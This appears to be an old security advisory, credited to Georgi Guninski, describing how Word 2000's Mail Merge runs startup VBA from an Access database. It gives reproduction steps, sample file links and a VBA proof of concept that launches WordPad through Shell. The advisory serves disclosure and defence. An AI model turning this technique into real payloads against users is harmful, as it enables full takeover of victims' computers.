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| MS Word and MS Access 2000 (with or without Service Release 1a) enables remote attackers to execute arbitrary programs whenever a Word document is opened. This can be exploited when visiting a malicious web page with IE or when opening (or even just previewing) HTML email message with Outlook. In order for this to work, the user must be able to access an mdb file, which can reside either on an UNC share or on a local drive. The vulnerability allows taking full control over user's computer. |
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Credit:
The information has been provided by Georgi Guninski.
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The problem is that MS Word accepts Access database as a data source in Mail Merge. Worse, Word opens the database and executes VBA in forms that are opened at database startup. VBA functions can execute arbitrary applications.
How to reproduce:
1) Create a db4.mdb file which opens a form at database startup and executes VBA code in the form.
2) Place a copy of db4.mdb in C:\ (for example), or on a UNC share.
3) Open a Word document.
4) Select Tools->Mail Merge->Create->Mailing Labels->New Main Document
5) Select GetData->Open Data Source
6) Choose C:\db4.mdb
7) The rest of the wizard is trivial, you must save the new document.
Sample files are available:
http://www.nat.bg/~joro/wordaccess.doc
http://www.nat.bg/~joro/db4.mdb
Note: This is completely different issue from "Georgi Guninski security advisory #14, 2000" "IE 5 and Access 2000 vulnerability - executing programs", which needs IE and ActiveX, while the current bug is in Word/Access.
Exploit:
-----------in Form1 of db4.mdb---------------------
Private Sub Form_Load()
On Error GoTo Err_Command0_Click
Dim stAppName As String
stAppName = "C:\Program Files\Accessories\wordpad.exe"
MsgBox ("Trying to start: " & stAppName)
Call Shell(stAppName, 1)
Exit_Command0_Click:
Exit Sub
Err_Command0_Click:
MsgBox Err.Description
Resume Exit_Command0_Click
End Sub
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Form1 is automatically opened at database startup. You must have a table in the database.
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